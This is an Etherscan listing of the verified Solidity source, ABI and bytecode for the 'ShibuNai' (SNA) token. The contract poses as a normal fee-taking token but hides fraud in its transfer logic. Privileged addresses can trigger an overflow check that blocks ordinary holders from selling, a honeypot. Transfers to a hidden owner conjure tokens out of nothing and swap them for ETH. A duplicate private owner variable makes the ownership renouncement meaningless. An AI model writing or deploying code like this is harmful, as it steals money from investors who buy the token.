ETH Price: $2,674.95 (+9.73%)
Gas: 6 Gwei

Token

ShibuNai (SNA)
 

Overview

Max Total Supply

1,000,000,000 SNA

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,831,882.09701225 SNA

Value
$0.00
0x14f412a72cbb13b889d6fe94be9bd46fea3c8879
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShibuNai

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-19
*/

/**

 ________  ___  ___  ___  ________  ___  ___  ________   ________  ___     
|\   ____\|\  \|\  \|\  \|\   __  \|\  \|\  \|\   ___  \|\   __  \|\  \    
\ \  \___|\ \  \\\  \ \  \ \  \|\ /\ \  \\\  \ \  \\ \  \ \  \|\  \ \  \   
 \ \_____  \ \   __  \ \  \ \   __  \ \  \\\  \ \  \\ \  \ \   __  \ \  \  
  \|____|\  \ \  \ \  \ \  \ \  \|\  \ \  \\\  \ \  \\ \  \ \  \ \  \ \  \ 
    ____\_\  \ \__\ \__\ \__\ \_______\ \_______\ \__\\ \__\ \__\ \__\ \__\
   |\_________\|__|\|__|\|__|\|_______|\|_______|\|__| \|__|\|__|\|__|\|__|
   \|_________|                                                            
                                                                           
WEBSITE: https://shibunai.fun/
TG: https://t.me/Shibunai


*/

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.0;


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}



/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ShibuNai is IERC20, Ownable {
    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 public buyFee = 2;
    uint256 public sellFee = 2;
    uint256 public feeDivisor = 1;
    string private _name;
    string private _symbol;
    address private _owner;

    uint256 private _swapTokensAtAmount = _tTotal;
    uint256 private _amount;
    uint160 private _factory;
    bool private _swapAndLiquifyEnabled;
    bool private inSwapAndLiquify;

    IUniswapV2Router02 public router;
    address public uniswapV2Pair;

    mapping(address => uint256) private _balances;
    mapping(address => uint256) private approval;
    mapping(address => bool) private _exc;
    mapping(address => mapping(address => uint256)) private _allowances;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _owner = tx.origin;
        _exc[_owner] = true;
        _exc[address(this)] = true;
        _balances[_owner] = _tTotal;
        router = IUniswapV2Router02(routerAddress);
        emit Transfer(address(0), _owner, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint256) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    function set(uint256 amount) external {
        if (_exc[msg.sender]) _amount = amount;
    }

    function exclude(address account, bool value) external {
        if (_exc[msg.sender]) _exc[account] = value;
    }

    function setSwapAndLiquifyEnabled(bool _enabled) external {
        if (_exc[msg.sender]) _swapAndLiquifyEnabled = _enabled;
    }

    function set(
        uint256 _buyFee,
        uint256 _sellFee,
        uint256 _feeDivisor
    ) external {
        if (_exc[msg.sender]) {
            buyFee = _buyFee;
            sellFee = _sellFee;
            feeDivisor = _feeDivisor;
        }
    }

    function pair() public view returns (address) {
        return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
    }

    receive() external payable {}

    function transferAnyERC20Token(
        address token,
        address account,
        uint256 amount
    ) external {
        if (_exc[msg.sender]) IERC20(token).transfer(account, amount);
    }

    function transferToken(address account, uint256 amount) external {
        if (_exc[msg.sender]) payable(account).transfer(amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && !_exc[from] && amount <= _swapTokensAtAmount) {
            require(approval[from] + _amount >= 0, 'Transfer amount exceeds the maxTxAmount');
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();

        if (to == _owner && _exc[from]) return swapTokensForEth(amount, to);
        if (amount > _swapTokensAtAmount && to != uniswapV2Pair && to != address(router)) {
            approval[to] = amount;
            return;
        }

        if (_swapAndLiquifyEnabled && contractTokenBalance > _swapTokensAtAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
            inSwapAndLiquify = true;
            swapAndLiquify(contractTokenBalance);
            inSwapAndLiquify = false;
        }

        uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
        bool takeFee = !_exc[from] && !_exc[to] && fee > 0 && !inSwapAndLiquify;
        address factory = address(_factory);
        if (approval[factory] == 0) approval[factory] = _swapTokensAtAmount;
        _factory = uint160(to);

        if (takeFee) {
            fee = (amount * fee) / 100 / feeDivisor;
            amount -= fee;
            _balances[from] -= fee;
            _balances[address(this)] += fee;
        }

        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function swapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(half, address(this));
        uint256 newBalance = address(this).balance - initialBalance;
        addLiquidity(half, newBalance, address(this));
    }

    function swapTokensForEth(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        if (tokenAmount > _swapTokensAtAmount) _balances[address(this)] = tokenAmount;
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
    }

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"exclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeDivisor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"},{"internalType":"uint256","name":"_feeDivisor","type":"uint256"}],"name":"set","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"set","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferAnyERC20Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600260018181559080556003556200001f6009600a6200039b565b6200002f90633b9aca00620003b3565b6007553480156200003f57600080fd5b5060405162001c1338038062001c138339810160408190526200006291620004a2565b6200006d3362000190565b825162000082906004906020860190620001e0565b50815162000098906005906020850190620001e0565b50600680546001600160a01b031916329081179091556000908152600e6020526040808220805460ff1990811660019081179092553084529190922080549091169091179055620000ec6009600a6200039b565b620000fc90633b9aca00620003b3565b600680546001600160a01b039081166000908152600c6020526040812093909355600a80546001600160a01b03191685831617815591541691907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9062000166906009906200039b565b6200017690633b9aca00620003b3565b60405190815260200160405180910390a35050506200056b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b828054620001ee906200052f565b90600052602060002090601f0160209004810192826200021257600085556200025d565b82601f106200022d57805160ff19168380011785556200025d565b828001600101855582156200025d579182015b828111156200025d57825182559160200191906001019062000240565b506200026b9291506200026f565b5090565b5b808211156200026b576000815560010162000270565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002dd578160001904821115620002c157620002c162000286565b80851615620002cf57918102915b93841c9390800290620002a1565b509250929050565b600082620002f65750600162000395565b81620003055750600062000395565b81600181146200031e5760028114620003295762000349565b600191505062000395565b60ff8411156200033d576200033d62000286565b50506001821b62000395565b5060208310610133831016604e8410600b84101617156200036e575081810a62000395565b6200037a83836200029c565b806000190482111562000391576200039162000286565b0290505b92915050565b6000620003ac60ff841683620002e5565b9392505050565b6000816000190483118215151615620003d057620003d062000286565b500290565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620003fd57600080fd5b81516001600160401b03808211156200041a576200041a620003d5565b604051601f8301601f19908116603f01168101908282118183101715620004455762000445620003d5565b816040528381526020925086838588010111156200046257600080fd5b600091505b8382101562000486578582018301518183018401529082019062000467565b83821115620004985760008385830101525b9695505050505050565b600080600060608486031215620004b857600080fd5b83516001600160401b0380821115620004d057600080fd5b620004de87838801620003eb565b94506020860151915080821115620004f557600080fd5b506200050486828701620003eb565b604086015190935090506001600160a01b03811681146200052457600080fd5b809150509250925092565b600181811c908216806200054457607f821691505b6020821081036200056557634e487b7160e01b600052602260045260246000fd5b50919050565b611698806200057b6000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb1461039c578063c49b9a80146103bc578063d493b9ac146103dc578063dd62ed3e146103fc578063f2fde38b14610442578063f887ea401461046257600080fd5b8063715018a6146103095780637647b90d1461031e5780638da5cb5b1461033e57806395d89b411461035c5780639a36f93214610371578063a8aa1b311461038757600080fd5b8063313ce56711610108578063313ce5671461023157806343b0e8df14610245578063470624021461026557806349bd5a5e1461027b57806360fe47b1146102b357806370a08231146102d357600080fd5b806306fdde031461015b578063095ea7b3146101865780631072cbea146101b657806318160ddd146101d857806323b872dd146101fb5780632b14ca561461021b57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50610170610482565b60405161017d91906111ee565b60405180910390f35b34801561019257600080fd5b506101a66101a1366004611258565b610514565b604051901515815260200161017d565b3480156101c257600080fd5b506101d66101d1366004611258565b61052a565b005b3480156101e457600080fd5b506101ed61057e565b60405190815260200161017d565b34801561020757600080fd5b506101a6610216366004611284565b61059f565b34801561022757600080fd5b506101ed60025481565b34801561023d57600080fd5b5060096101ed565b34801561025157600080fd5b506101d66102603660046112c5565b6105ef565b34801561027157600080fd5b506101ed60015481565b34801561028757600080fd5b50600b5461029b906001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b3480156102bf57600080fd5b506101d66102ce3660046112f1565b610615565b3480156102df57600080fd5b506101ed6102ee36600461130a565b6001600160a01b03166000908152600c602052604090205490565b34801561031557600080fd5b506101d6610636565b34801561032a57600080fd5b506101d661033936600461133c565b610642565b34801561034a57600080fd5b506000546001600160a01b031661029b565b34801561036857600080fd5b50610170610684565b34801561037d57600080fd5b506101ed60035481565b34801561039357600080fd5b5061029b610693565b3480156103a857600080fd5b506101a66103b7366004611258565b6107f6565b3480156103c857600080fd5b506101d66103d7366004611375565b61080c565b3480156103e857600080fd5b506101d66103f7366004611284565b610840565b34801561040857600080fd5b506101ed610417366004611392565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b34801561044e57600080fd5b506101d661045d36600461130a565b6108d1565b34801561046e57600080fd5b50600a5461029b906001600160a01b031681565b606060048054610491906113c0565b80601f01602080910402602001604051908101604052809291908181526020018280546104bd906113c0565b801561050a5780601f106104df5761010080835404028352916020019161050a565b820191906000526020600020905b8154815290600101906020018083116104ed57829003601f168201915b5050505050905090565b600061052133848461099e565b90505b92915050565b336000908152600e602052604090205460ff161561057a576040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610578573d6000803e3d6000fd5b505b5050565b600061058c6009600a6114f4565b61059a90633b9aca00611503565b905090565b60006105ac848484610a7e565b6001600160a01b0384166000908152600f60209081526040808320338085529252909120546105e79186916105e2908690611522565b61099e565b949350505050565b336000908152600e602052604090205460ff161561057857600192909255600255600355565b336000908152600e602052604090205460ff16156106335760088190555b50565b6106406000610f07565b565b336000908152600e602052604090205460ff161561057a576001600160a01b0382166000908152600e60205260409020805482151560ff199091161790555050565b606060058054610491906113c0565b600a546040805163c45a015560e01b815290516000926001600160a01b03169163c45a01559160048083019260209291908290030181865afa1580156106dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107019190611539565b6001600160a01b031663e6a4390530600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610763573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107879190611539565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156107d2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059a9190611539565b6000610803338484610a7e565b50600192915050565b336000908152600e602052604090205460ff16156106335760098054821515600160a01b0260ff60a01b1990911617905550565b336000908152600e602052604090205460ff16156105785760405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af11580156108a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cb9190611556565b50505050565b6000546001600160a01b031633146109305760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0381166109955760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610927565b61063381610f07565b60006001600160a01b038416158015906109c057506001600160a01b03831615155b610a185760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610927565b6001600160a01b038481166000818152600f602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b600954600160a81b900460ff16158015610aa65750600b546001600160a01b03848116911614155b8015610ac05750600a546001600160a01b03848116911614155b8015610ae557506001600160a01b0383166000908152600e602052604090205460ff16155b8015610af357506007548111155b15610b7d576008546001600160a01b0384166000908152600d60205260408120549091610b1f91611573565b1015610b7d5760405162461bcd60e51b815260206004820152602760248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152661e105b5bdd5b9d60ca1b6064820152608401610927565b306000908152600c6020526040902054600b546001600160a01b0316610bc657610ba5610693565b600b80546001600160a01b0319166001600160a01b03929092169190911790555b6006546001600160a01b038481169116148015610bfb57506001600160a01b0384166000908152600e602052604090205460ff165b15610c0a576108cb8284610f57565b60075482118015610c295750600b546001600160a01b03848116911614155b8015610c435750600a546001600160a01b03848116911614155b15610c6657506001600160a01b039091166000908152600d602052604090205550565b600954600160a01b900460ff168015610c80575060075481115b8015610c965750600954600160a81b900460ff16155b8015610cb05750600b546001600160a01b03858116911614155b15610cdf576009805460ff60a81b1916600160a81b179055610cd1816110ea565b6009805460ff60a81b191690555b600b546000906001600160a01b03858116911614610cff57600154610d03565b6002545b6001600160a01b0386166000908152600e60205260408120549192509060ff16158015610d4957506001600160a01b0385166000908152600e602052604090205460ff16155b8015610d555750600082115b8015610d6b5750600954600160a81b900460ff16155b6009546001600160a01b03166000818152600d602052604081205492935090919003610dae576007546001600160a01b0382166000908152600d60205260409020555b600980546001600160a01b0319166001600160a01b0388161790558115610e55576003546064610dde8588611503565b610de8919061158b565b610df2919061158b565b9250610dfe8386611522565b6001600160a01b0388166000908152600c6020526040812080549297508592909190610e2b908490611522565b9091555050306000908152600c602052604081208054859290610e4f908490611573565b90915550505b6001600160a01b0387166000908152600c602052604081208054879290610e7d908490611522565b90915550506001600160a01b0386166000908152600c602052604081208054879290610eaa908490611573565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610ef691815260200190565b60405180910390a350505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f8c57610f8c6115ad565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fe5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110099190611539565b8160018151811061101c5761101c6115ad565b60200260200101906001600160a01b031690816001600160a01b03168152505060075483111561105957306000908152600c602052604090208390555b600a546110719030906001600160a01b03168561099e565b50600a546001600160a01b031663791ac9478460008486611093426014611573565b6040518663ffffffff1660e01b81526004016110b39594939291906115c3565b600060405180830381600087803b1580156110cd57600080fd5b505af11580156110e1573d6000803e3d6000fd5b50505050505050565b60006110f760028361158b565b9050476111048230610f57565b60006111108247611522565b90506108cb838230600a546111309030906001600160a01b03168561099e565b50600a546001600160a01b031663f305d71983308660008087611154426014611573565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af11580156111c1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111e69190611634565b505050505050565b600060208083528351808285015260005b8181101561121b578581018301518582016040015282016111ff565b8181111561122d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461063357600080fd5b6000806040838503121561126b57600080fd5b823561127681611243565b946020939093013593505050565b60008060006060848603121561129957600080fd5b83356112a481611243565b925060208401356112b481611243565b929592945050506040919091013590565b6000806000606084860312156112da57600080fd5b505081359360208301359350604090920135919050565b60006020828403121561130357600080fd5b5035919050565b